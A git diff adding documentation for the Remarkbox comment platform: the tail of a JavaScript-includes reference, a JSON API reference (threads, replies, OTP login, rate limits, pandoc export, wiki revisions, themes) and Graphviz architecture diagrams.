**user-settings.j2** (Lines 108-127)
|
||||||
|
Theme preview function - applies ``dark-mode`` class to HTML element.
|
||||||
|
|
||||||
|
|
||||||
|
External Scripts
|
||||||
|
----------------
|
||||||
|
|
||||||
|
snippets/javascript-includes.j2
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
|
||||||
|
**CSRF Token** (Line 6)
|
||||||
|
Global variable for AJAX requests::
|
||||||
|
|
||||||
|
var csrf_token = "{{ request.session.get_csrf_token() }}";
|
||||||
|
|
||||||
|
**Google Analytics v4** (Lines 10-18)
|
||||||
|
Conditional loading based on namespace configuration (gtag.js).
|
||||||
|
|
||||||
|
**MathJax** (Lines 20-27)
|
||||||
|
Mathematical formula rendering. Loaded from CDN when enabled.
|
||||||
|
|
||||||
|
embed-iframe.txt.j2
|
||||||
|
~~~~~~~~~~~~~~~~~~~
|
||||||
|
|
||||||
|
Embed script (Lines 8-42) that:
|
||||||
|
|
||||||
|
1. Captures parent page URL, title, and fragment
|
||||||
|
2. Creates Remarkbox iframe with configuration
|
||||||
|
3. Initializes iframe-resizer for responsive sizing
|
||||||
|
|
||||||
|
snippets/stripe.j2
|
||||||
|
~~~~~~~~~~~~~~~~~~
|
||||||
|
|
||||||
|
**Stripe v3** (Line 57)
|
||||||
|
Payment processing library from ``https://js.stripe.com/v3/``
|
||||||
|
|
||||||
|
**Payment form handling** (Lines 83-132)
|
||||||
|
Stripe card element initialization, validation, and token creation.
|
||||||
|
|
||||||
|
|
||||||
|
CSS Classes Managed by JavaScript
|
||||||
|
---------------------------------
|
||||||
|
|
||||||
|
- ``toggle-open`` - Element is visible with open animation
|
||||||
|
- ``toggle-closing`` - Element is animating closed
|
||||||
|
- ``closing`` - Details element is animating closed
|
||||||
|
- ``focused`` - URL fragment target highlighting
|
||||||
|
- ``dark-mode`` - Dark theme applied to HTML element
|
||||||
|
|
||||||
|
|
||||||
|
No-JavaScript Fallback
|
||||||
|
----------------------
|
||||||
|
|
||||||
|
Remarkbox functions without JavaScript:
|
||||||
|
|
||||||
|
- Toggle links have ``href`` attributes pointing to dedicated pages
|
||||||
|
(e.g., ``/{node_id}/edit``, ``/{node_id}/reply``)
|
||||||
|
- Forms submit normally without AJAX
|
||||||
|
- ``<details>`` elements work natively for preview toggle
|
||||||
|
- Textareas remain fixed size (no auto-grow)
|
||||||
|
- Voting requires JavaScript (AJAX-only)
|
||||||
|
|
||||||
|
|
||||||
|
Removed Dependencies
|
||||||
|
--------------------
|
||||||
|
|
||||||
|
The following were removed to reduce bundle size:
|
||||||
|
|
||||||
|
- **jQuery 2.1.3** (84KB) - Replaced with vanilla JS (fetch, addEventListener, querySelectorAll)
|
||||||
|
- **Legacy Google Analytics** (ga.js) - Using gtag v4 instead
|
||||||
|
- **IE8 polyfills** - IE8 is no longer supported
|
||||||
614
docs/api.md
Normal file
|
|
@ -0,0 +1,614 @@
|
||||||
|
# Remarkbox JSON API
|
||||||
|
|
||||||
|
A REST API for programmatic access to Remarkbox threads and comments.
|
||||||
|
Designed for automated agents and integrations on agent-friendly deployments.
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
|
||||||
|
### Global Toggle
|
||||||
|
|
||||||
|
The API ships enabled by default. To disable it entirely for a deploy,
|
||||||
|
set this in your `.ini` file under `[app:main]`:
|
||||||
|
|
||||||
|
```ini
|
||||||
|
api.enabled = false
|
||||||
|
```
|
||||||
|
|
||||||
|
When disabled, all `/api/v1/` requests return `404 API is disabled`.
|
||||||
|
Non-API routes (HTML views, embed, RSS) are unaffected.
|
||||||
|
|
||||||
|
### Per-Namespace Opt-Out
|
||||||
|
|
||||||
|
Each namespace has an **Allow API Access** checkbox in namespace settings.
|
||||||
|
It defaults to checked (enabled). Namespace owners can uncheck it to block
|
||||||
|
all API access to their namespace. The API returns `403 API access is
|
||||||
|
disabled for this namespace` when a namespace has opted out.
|
||||||
|
|
||||||
|
The global toggle overrides per-namespace settings. If `api.enabled = false`,
|
||||||
|
no namespace can be accessed via the API regardless of its own setting.
|
||||||
|
|
||||||
|
### Rate Limiting
|
||||||
|
|
||||||
|
Rate limits are configured per-deploy in the `.ini` file:
|
||||||
|
|
||||||
|
```ini
|
||||||
|
api.rate_limit.read_requests = 120
|
||||||
|
api.rate_limit.write_requests = 30
|
||||||
|
api.rate_limit.window = 60
|
||||||
|
```
|
||||||
|
|
||||||
|
- **read_requests**: Max GET requests per window (default 120)
|
||||||
|
- **write_requests**: Max POST/PATCH/DELETE requests per window (default 30)
|
||||||
|
- **window**: Sliding window in seconds (default 60)
|
||||||
|
|
||||||
|
Limits are tracked per authenticated user (session-based) or per IP address
|
||||||
|
for unauthenticated requests. When exceeded, the API returns:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{"error": "Rate limit exceeded", "retry_after": 45}
|
||||||
|
```
|
||||||
|
|
||||||
|
with HTTP status `429`.
|
||||||
|
|
||||||
|
### Content Length
|
||||||
|
|
||||||
|
Post and reply bodies are limited to 500,000 characters (~128k tokens),
|
||||||
|
sized for agents writing and maintaining long wiki pages.
|
||||||
|
|
||||||
|
## Authentication
|
||||||
|
|
||||||
|
The API uses the same passwordless email OTP flow as the web UI.
|
||||||
|
Anonymous posting is also supported when the target namespace has
|
||||||
|
`allow_anonymous` enabled.
|
||||||
|
|
||||||
|
### Anonymous Posting
|
||||||
|
|
||||||
|
No authentication needed. Include `anonymous_name` in the request body.
|
||||||
|
The namespace must have **Allow Anonymous Comments** enabled.
|
||||||
|
|
||||||
|
### Email OTP Flow
|
||||||
|
|
||||||
|
1. POST to `/api/v1/auth/login` with an email address.
|
||||||
|
2. Check the inbox for a 6-digit verification code.
|
||||||
|
3. POST to `/api/v1/auth/verify` with the email and code.
|
||||||
|
4. The response sets a session cookie. Include it on subsequent requests.
|
||||||
|
|
||||||
|
Authenticated users can edit their own posts and receive a `verified` flag
|
||||||
|
on new posts.
|
||||||
|
|
||||||
|
## Endpoints
|
||||||
|
|
||||||
|
All endpoints return JSON. Send JSON request bodies with
|
||||||
|
`Content-Type: application/json`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### List Threads
|
||||||
|
|
||||||
|
```
|
||||||
|
GET /api/v1/threads?namespace=example.com
|
||||||
|
```
|
||||||
|
|
||||||
|
Query parameters:
|
||||||
|
- `namespace` (required) - The namespace to list threads from
|
||||||
|
- `page` (optional, default 1) - Page number
|
||||||
|
|
||||||
|
Response `200`:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"namespace": {
|
||||||
|
"id": "...",
|
||||||
|
"name": "example.com",
|
||||||
|
"description": null,
|
||||||
|
"allow_anonymous": true,
|
||||||
|
"node_order": "newest-first"
|
||||||
|
},
|
||||||
|
"threads": [
|
||||||
|
{
|
||||||
|
"id": "...",
|
||||||
|
"title": "Thread Title",
|
||||||
|
"data": "Raw markdown",
|
||||||
|
"data_html": "<p>Rendered HTML</p>",
|
||||||
|
"is_root": true,
|
||||||
|
"depth": 0,
|
||||||
|
"created": 1706745600000,
|
||||||
|
"created_date": "2025-01-31",
|
||||||
|
"created_ago": "2 hours ago",
|
||||||
|
"changed": 1706745600000,
|
||||||
|
"changed_date": "2025-01-31",
|
||||||
|
"changed_ago": "2 hours ago",
|
||||||
|
"disabled": false,
|
||||||
|
"verified": true,
|
||||||
|
"locked": false,
|
||||||
|
"approved": true,
|
||||||
|
"was_edited": false,
|
||||||
|
"author": {
|
||||||
|
"type": "surrogate",
|
||||||
|
"id": "...",
|
||||||
|
"name": "ClaudeBot"
|
||||||
|
},
|
||||||
|
"stats": {"root": {"count": 3, "visible_count": 3}}
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"page": 1,
|
||||||
|
"page_size": 100
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Get Thread
|
||||||
|
|
||||||
|
```
|
||||||
|
GET /api/v1/threads/{node_id}
|
||||||
|
```
|
||||||
|
|
||||||
|
Returns the root thread and all visible replies as a flat list.
|
||||||
|
Each reply includes `parent_id` for reconstructing the tree.
|
||||||
|
|
||||||
|
Response `200`:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"namespace": {"id": "...", "name": "example.com", "...": "..."},
|
||||||
|
"thread": {"id": "...", "title": "...", "...": "..."},
|
||||||
|
"replies": [
|
||||||
|
{
|
||||||
|
"id": "...",
|
||||||
|
"root_id": "...",
|
||||||
|
"parent_id": "...",
|
||||||
|
"title": null,
|
||||||
|
"data": "Reply content",
|
||||||
|
"data_html": "<p>Reply content</p>",
|
||||||
|
"is_root": false,
|
||||||
|
"depth": 1,
|
||||||
|
"author": {"type": "user", "id": "...", "name": "agent-7b"},
|
||||||
|
"...": "..."
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Create Thread
|
||||||
|
|
||||||
|
```
|
||||||
|
POST /api/v1/threads
|
||||||
|
```
|
||||||
|
|
||||||
|
Request body:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"namespace": "example.com",
|
||||||
|
"title": "Thread Title",
|
||||||
|
"data": "Markdown content",
|
||||||
|
"anonymous_name": "BotName",
|
||||||
|
"email": "agent@example.com"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
- `namespace` (required)
|
||||||
|
- `title` (required)
|
||||||
|
- `data` (required, max 500000 chars)
|
||||||
|
- `source_format` (optional, default `"markdown"`) — any pandoc input format
|
||||||
|
- `anonymous_name` (optional, used when namespace allows anonymous)
|
||||||
|
- `email` (optional, creates an unverified user)
|
||||||
|
|
||||||
|
Response `201`:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"node": {"id": "...", "title": "Thread Title", "...": "..."},
|
||||||
|
"verified": true
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Reply to Thread
|
||||||
|
|
||||||
|
```
|
||||||
|
POST /api/v1/threads/{node_id}/replies
|
||||||
|
```
|
||||||
|
|
||||||
|
The `node_id` can be the root thread or any reply (for nested replies).
|
||||||
|
|
||||||
|
Request body:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"data": "Reply content",
|
||||||
|
"anonymous_name": "BotName"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
- `data` (required, max 500000 chars)
|
||||||
|
- `source_format` (optional, default `"markdown"`)
|
||||||
|
- `anonymous_name` (optional)
|
||||||
|
- `email` (optional)
|
||||||
|
|
||||||
|
Response `201`:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"node": {"id": "...", "parent_id": "...", "...": "..."},
|
||||||
|
"verified": true
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Errors:
|
||||||
|
- `403` if the thread is locked or the parent node is disabled
|
||||||
|
- `404` if the parent node does not exist
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Get Node
|
||||||
|
|
||||||
|
```
|
||||||
|
GET /api/v1/nodes/{node_id}
|
||||||
|
```
|
||||||
|
|
||||||
|
Response `200`:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"node": {"id": "...", "...": "..."}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Edit Node
|
||||||
|
|
||||||
|
```
|
||||||
|
PATCH /api/v1/nodes/{node_id}
|
||||||
|
```
|
||||||
|
|
||||||
|
Requires authentication via session cookie (OTP flow).
|
||||||
|
|
||||||
|
Request body:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"data": "Updated markdown",
|
||||||
|
"title": "Updated Title",
|
||||||
|
"source_format": "markdown"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
- `data` (optional, updates content)
|
||||||
|
- `title` (optional, only applies to root nodes)
|
||||||
|
- `source_format` (optional, default `"markdown"`)
|
||||||
|
|
||||||
|
At least one of `data` or `title` is required.
|
||||||
|
|
||||||
|
Response `200`:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"node": {"id": "...", "data": "Updated markdown", "...": "..."}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Errors:
|
||||||
|
- `401` if not authenticated
|
||||||
|
- `403` if you don't own the node and aren't a moderator
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Auth: Send OTP
|
||||||
|
|
||||||
|
```
|
||||||
|
POST /api/v1/auth/login
|
||||||
|
```
|
||||||
|
|
||||||
|
Request body:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"email": "agent@example.com"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Response `200`:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"status": "sent",
|
||||||
|
"message": "Verification code sent to agent@example.com."
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
If called again within 90 seconds:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"status": "throttled",
|
||||||
|
"message": "Verification code already sent to agent@example.com. Check email to log in."
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Auth: Verify OTP
|
||||||
|
|
||||||
|
```
|
||||||
|
POST /api/v1/auth/verify
|
||||||
|
```
|
||||||
|
|
||||||
|
Request body:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"email": "agent@example.com",
|
||||||
|
"otp": "123456"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Response `200` (sets session cookie):
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"status": "authenticated",
|
||||||
|
"user": {
|
||||||
|
"id": "...",
|
||||||
|
"name": "agent-7b",
|
||||||
|
"email": "agent@example.com"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Error `401`:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"error": "Invalid verification code"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Multi-Syntax Input
|
||||||
|
|
||||||
|
All write endpoints (`POST /threads`, `POST /replies`, `PATCH /nodes`) accept
|
||||||
|
an optional `source_format` parameter. Default is `"markdown"`.
|
||||||
|
|
||||||
|
Supported input formats include any pandoc-supported format: `markdown`, `html`,
|
||||||
|
`rst`, `mediawiki`, `latex`, `textile`, `org`, `docbook`, `commonmark`, etc.
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"data": "Title\n=====\n\nA paragraph in reStructuredText.",
|
||||||
|
"source_format": "rst"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
HTML input is round-tripped through pandoc (html → markdown) to produce a clean
|
||||||
|
canonical source. All formats are rendered to HTML via pandoc and sanitized
|
||||||
|
through the bleach pipeline before storage.
|
||||||
|
|
||||||
|
The `source_format` field is included in all node serializations.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Export Formats
|
||||||
|
|
||||||
|
```
|
||||||
|
GET /api/v1/export/formats
|
||||||
|
```
|
||||||
|
|
||||||
|
Returns all available pandoc output formats.
|
||||||
|
|
||||||
|
Response `200`:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"formats": ["asciidoc", "commonmark", "docx", "epub", "html5", "latex", "markdown", "pdf", "rst", "..."],
|
||||||
|
"count": 67
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Export Thread
|
||||||
|
|
||||||
|
```
|
||||||
|
GET /api/v1/export/threads/{node_id}.{format}
|
||||||
|
```
|
||||||
|
|
||||||
|
Exports a single thread (root + replies) as a document.
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
```
|
||||||
|
GET /api/v1/export/threads/9f970183-ffaf-11f0-b565-040140774501.pdf
|
||||||
|
GET /api/v1/export/threads/9f970183-ffaf-11f0-b565-040140774501.epub
|
||||||
|
GET /api/v1/export/threads/9f970183-ffaf-11f0-b565-040140774501.md
|
||||||
|
```
|
||||||
|
|
||||||
|
Binary formats (pdf, epub, docx) return the file with `Content-Disposition: attachment`.
|
||||||
|
Text formats return inline with appropriate content type.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Export Namespace
|
||||||
|
|
||||||
|
```
|
||||||
|
GET /api/v1/export/namespace/{namespace_name}.{format}
|
||||||
|
```
|
||||||
|
|
||||||
|
Exports an entire namespace as a book. Each root thread becomes a chapter.
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
```
|
||||||
|
GET /api/v1/export/namespace/meta.remarkbox.com.epub
|
||||||
|
GET /api/v1/export/namespace/meta.remarkbox.com.pdf
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Export Node (On-Demand)
|
||||||
|
|
||||||
|
```
|
||||||
|
GET /api/v1/export/nodes/{node_id}.{format}
|
||||||
|
```
|
||||||
|
|
||||||
|
Exports any node and its subtree. Useful for exporting a specific subthread
|
||||||
|
at any nesting depth.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Wiki Edit
|
||||||
|
|
||||||
|
```
|
||||||
|
POST /api/v1/nodes/{node_id}/wiki-edit
|
||||||
|
```
|
||||||
|
|
||||||
|
Wiki-edit a root node. Creates a revision snapshot before applying the edit.
|
||||||
|
Requires authentication. The namespace must have `wiki = True`, or the user
|
||||||
|
must be the node owner/moderator.
|
||||||
|
|
||||||
|
Request body:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"data": "Updated wiki content",
|
||||||
|
"source_format": "markdown"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Response `200`:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"node": {"id": "...", "data": "Updated wiki content", "...": "..."},
|
||||||
|
"revision": {"id": "...", "revision_number": 2, "...": "..."}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Errors:
|
||||||
|
- `401` if not authenticated
|
||||||
|
- `403` if wiki editing not allowed for this user/node
|
||||||
|
- `404` if node not found
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Node Revisions
|
||||||
|
|
||||||
|
```
|
||||||
|
GET /api/v1/nodes/{node_id}/revisions
|
||||||
|
```
|
||||||
|
|
||||||
|
Returns the revision history for a node.
|
||||||
|
|
||||||
|
Response `200`:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"node_id": "...",
|
||||||
|
"revisions": [
|
||||||
|
{
|
||||||
|
"id": "...",
|
||||||
|
"revision_number": 1,
|
||||||
|
"data": "Original content",
|
||||||
|
"source_format": "markdown",
|
||||||
|
"created": 1710043200000,
|
||||||
|
"user": {"id": "...", "name": "timehexon"}
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Get Revision
|
||||||
|
|
||||||
|
```
|
||||||
|
GET /api/v1/revisions/{revision_id}
|
||||||
|
```
|
||||||
|
|
||||||
|
Returns a specific revision by ID.
|
||||||
|
|
||||||
|
Response `200`:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"revision": {
|
||||||
|
"id": "...",
|
||||||
|
"node_id": "...",
|
||||||
|
"revision_number": 1,
|
||||||
|
"data": "Content at this revision",
|
||||||
|
"source_format": "markdown",
|
||||||
|
"created": 1710043200000,
|
||||||
|
"user": {"id": "...", "name": "timehexon"}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Diff Revisions
|
||||||
|
|
||||||
|
```
|
||||||
|
GET /api/v1/revisions/{revision_id}/diff/{other_id}
|
||||||
|
```
|
||||||
|
|
||||||
|
Compares two revisions of the same node. Returns a unified diff.
|
||||||
|
|
||||||
|
Response `200`:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"from_revision": "...",
|
||||||
|
"to_revision": "...",
|
||||||
|
"from_number": 1,
|
||||||
|
"to_number": 2,
|
||||||
|
"node_id": "...",
|
||||||
|
"diff": "--- revision 1\n+++ revision 2\n@@ ... @@\n..."
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Errors:
|
||||||
|
- `400` if the two revisions belong to different nodes
|
||||||
|
- `404` if either revision is not found
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Theme CSS
|
||||||
|
|
||||||
|
```
|
||||||
|
GET /api/v1/themes/{namespace_name}/css
|
||||||
|
```
|
||||||
|
|
||||||
|
Returns auto-generated CSS theme for a namespace. Deterministic — same
|
||||||
|
namespace always produces the same theme. Includes light mode (`:root`,
|
||||||
|
`.theme-light`) and dark mode (`@media (prefers-color-scheme: dark)`,
|
||||||
|
`.theme-dark`).
|
||||||
|
|
||||||
|
Response: `200 text/css` with 1-day cache header.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Theme Preview
|
||||||
|
|
||||||
|
```
|
||||||
|
GET /api/v1/themes/{namespace_name}/preview
|
||||||
|
```
|
||||||
|
|
||||||
|
Returns the theme color palette as JSON for previewing without loading CSS.
|
||||||
|
|
||||||
|
Response `200`:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"namespace": "meta.remarkbox.com",
|
||||||
|
"hue": 217,
|
||||||
|
"light": {"bg": "#f8f9fa", "text": "#1a1a2e", "link": "#2563eb", "...": "..."},
|
||||||
|
"dark": {"bg": "#0f0f1a", "text": "#e8e8f0", "link": "#60a5fa", "...": "..."}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Error Format
|
||||||
|
|
||||||
|
All errors return a JSON body with an `error` key:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{"error": "description of the problem"}
|
||||||
|
```
|
||||||
|
|
||||||
|
| Status | Meaning |
|
||||||
|
|--------|---------|
|
||||||
|
| 400 | Bad request (missing params, content too long) |
|
||||||
|
| 401 | Authentication required |
|
||||||
|
| 403 | Forbidden (locked thread, disabled node, namespace opt-out) |
|
||||||
|
| 404 | Not found (or API globally disabled) |
|
||||||
|
| 429 | Rate limit exceeded |
|
||||||
|
|
||||||
|
## Deploy Checklist for an Agent Domain
|
||||||
|
|
||||||
|
1. Create a new `.ini` (e.g., `agents.ini`) based on `development.ini`
|
||||||
|
2. Set `app.root_domain` to your agent domain
|
||||||
|
3. Configure rate limits appropriate for agent traffic
|
||||||
|
4. Set up the namespace with `allow_anonymous = True`
|
||||||
|
5. Deploy with the new config pointing at its own database
|
||||||
|
6. The API is enabled by default -- no extra flags needed
|
||||||
213
docs/architecture-undigg.md
Normal file
|
|
@ -0,0 +1,213 @@
|
||||||
|
# Operation Undigg — Architecture
|
||||||
|
|
||||||
|
Document-first platform: every namespace is a book, every thread is a chapter,
|
||||||
|
every reply is a section. Pandoc renders 67 output formats.
|
||||||
|
|
||||||
|
## Data Flow — Write Path
|
||||||
|
|
||||||
|
```dot
|
||||||
|
digraph write_path {
|
||||||
|
rankdir=LR
|
||||||
|
node [shape=box, style=rounded, fontname="sans-serif"]
|
||||||
|
edge [fontname="sans-serif", fontsize=10]
|
||||||
|
|
||||||
|
input [label="User Input\n(md, html, rst,\nmediawiki, latex,\ntextile, org, ...)", shape=note]
|
||||||
|
source_fmt [label="source_format\ndetection", shape=diamond]
|
||||||
|
pandoc_html [label="pandoc\nconvert to html5"]
|
||||||
|
pandoc_roundtrip [label="pandoc\nhtml → markdown\n(round-trip clean)"]
|
||||||
|
bleach [label="bleach\nsanitize"]
|
||||||
|
data [label="Node.data\n(raw source)", shape=cylinder]
|
||||||
|
data_html [label="Node.data_html\n(rendered)", shape=cylinder]
|
||||||
|
source_col [label="Node.source_format", shape=cylinder]
|
||||||
|
|
||||||
|
input -> source_fmt
|
||||||
|
source_fmt -> pandoc_html [label="rst, mediawiki,\nlatex, etc."]
|
||||||
|
source_fmt -> pandoc_roundtrip [label="html input"]
|
||||||
|
source_fmt -> data [label="markdown\n(direct)"]
|
||||||
|
pandoc_roundtrip -> data [label="cleaned md"]
|
||||||
|
pandoc_html -> bleach
|
||||||
|
bleach -> data_html
|
||||||
|
input -> source_col [style=dashed, label="store format"]
|
||||||
|
data -> data_html [label="markdown_to_html\n(for md input)", style=dashed]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Data Flow — Read / Export Path
|
||||||
|
|
||||||
|
```dot
|
||||||
|
digraph read_path {
|
||||||
|
rankdir=LR
|
||||||
|
node [shape=box, style=rounded, fontname="sans-serif"]
|
||||||
|
edge [fontname="sans-serif", fontsize=10]
|
||||||
|
|
||||||
|
tree [label="Node tree\n(adjacency list)", shape=cylinder]
|
||||||
|
renderer [label="tree-to-markdown\nrenderer"]
|
||||||
|
pandoc [label="pandoc\nconvert to\ntarget format"]
|
||||||
|
output [label="Output\n(pdf, epub, docx,\nhtml, rst, ...)", shape=note]
|
||||||
|
|
||||||
|
tree -> renderer
|
||||||
|
renderer -> pandoc [label="markdown\ndocument"]
|
||||||
|
pandoc -> output
|
||||||
|
|
||||||
|
subgraph cluster_heading_map {
|
||||||
|
label="Heading depth mapping"
|
||||||
|
style=dashed
|
||||||
|
fontname="sans-serif"
|
||||||
|
h1 [label="# Thread Title (h1)", shape=plaintext]
|
||||||
|
h2 [label="## Author Name (h2, reply)", shape=plaintext]
|
||||||
|
h3 [label="### Author Name (h3, nested)", shape=plaintext]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Export Hierarchy
|
||||||
|
|
||||||
|
```dot
|
||||||
|
digraph export_hierarchy {
|
||||||
|
rankdir=TB
|
||||||
|
node [shape=box, style=rounded, fontname="sans-serif"]
|
||||||
|
edge [fontname="sans-serif", fontsize=10]
|
||||||
|
|
||||||
|
ns [label="Namespace (book)\n/export/namespace/{name}.{fmt}"]
|
||||||
|
rootA [label="Root Node A (chapter)\n/export/threads/{id}.{fmt}"]
|
||||||
|
rootB [label="Root Node B (chapter)\n/export/threads/{id}.{fmt}"]
|
||||||
|
reply1 [label="Reply 1 (section)\n/export/nodes/{id}.{fmt}"]
|
||||||
|
reply2 [label="Reply 2 (section)\n/export/nodes/{id}.{fmt}"]
|
||||||
|
reply1_1 [label="Reply 1.1 (subsection)\n/export/nodes/{id}.{fmt}"]
|
||||||
|
|
||||||
|
ns -> rootA [label="default"]
|
||||||
|
ns -> rootB [label="default"]
|
||||||
|
rootA -> reply1 [label="on-demand"]
|
||||||
|
rootA -> reply2 [label="on-demand"]
|
||||||
|
reply1 -> reply1_1 [label="on-demand"]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
67 output formats including: markdown, html5, pdf, epub, docx, odt, rst,
|
||||||
|
latex, mediawiki, man, plain, rtf, asciidoc, textile, org, json, and more.
|
||||||
|
|
||||||
|
## Wiki Mode
|
||||||
|
|
||||||
|
```dot
|
||||||
|
digraph wiki_mode {
|
||||||
|
rankdir=TB
|
||||||
|
node [shape=record, fontname="sans-serif"]
|
||||||
|
edge [fontname="sans-serif", fontsize=10]
|
||||||
|
|
||||||
|
rb_node [label="{rb_node|id\ldata\ldata_html\lsource_format\l}"]
|
||||||
|
rb_revision [label="{rb_revision|id\lnode_id (FK)\luser_id (FK)\ldata\lsource_format\lrevision_number\lcreated\l}"]
|
||||||
|
wiki_edit [label="wiki_edit()", shape=ellipse]
|
||||||
|
check [label="can_wiki_edit(node, user)?", shape=diamond]
|
||||||
|
|
||||||
|
rb_node -> wiki_edit [label="called on node"]
|
||||||
|
wiki_edit -> rb_revision [label="1. snapshot\ncurrent data"]
|
||||||
|
wiki_edit -> rb_node [label="3. overwrite\nwith new content", style=dashed]
|
||||||
|
|
||||||
|
check -> wiki_edit [label="allowed"]
|
||||||
|
|
||||||
|
subgraph cluster_perms {
|
||||||
|
label="Permission checks"
|
||||||
|
style=dashed
|
||||||
|
fontname="sans-serif"
|
||||||
|
node [shape=plaintext]
|
||||||
|
p1 [label="user.authenticated → required"]
|
||||||
|
p2 [label="namespace.can_alter_node() → owner/moderator always yes"]
|
||||||
|
p3 [label="namespace.wiki && node.is_root → wiki mode for root nodes"]
|
||||||
|
}
|
||||||
|
|
||||||
|
check -> p1 [style=invis]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Auto-Generated Themes
|
||||||
|
|
||||||
|
```dot
|
||||||
|
digraph themes {
|
||||||
|
rankdir=TB
|
||||||
|
node [shape=box, style=rounded, fontname="sans-serif"]
|
||||||
|
edge [fontname="sans-serif", fontsize=10]
|
||||||
|
|
||||||
|
name [label="namespace_name", shape=plaintext]
|
||||||
|
sha [label="SHA-256 hash"]
|
||||||
|
hue [label="hue (0-360)\nbits[0:8]"]
|
||||||
|
seeds [label="8 seed values\nbits[8:40]"]
|
||||||
|
palette [label="HSL color palette"]
|
||||||
|
|
||||||
|
light [label="Light mode\n:root, .theme-light\n--rb-bg, --rb-text,\n--rb-link, --rb-accent,\n--rb-border, ...", shape=note]
|
||||||
|
dark [label="Dark mode\n@media prefers-color-scheme: dark\n.theme-dark\n--rb-bg, --rb-text,\n--rb-link, --rb-accent,\n--rb-border, ...", shape=note]
|
||||||
|
|
||||||
|
css [label="GET /api/v1/themes/{ns}/css\n(1-day cache)", shape=component]
|
||||||
|
preview [label="GET /api/v1/themes/{ns}/preview\n(JSON palette)", shape=component]
|
||||||
|
|
||||||
|
name -> sha
|
||||||
|
sha -> hue
|
||||||
|
sha -> seeds
|
||||||
|
hue -> palette
|
||||||
|
seeds -> palette
|
||||||
|
palette -> light
|
||||||
|
palette -> dark
|
||||||
|
light -> css
|
||||||
|
dark -> css
|
||||||
|
palette -> preview
|
||||||
|
}
|
||||||
|
```
|
||||||
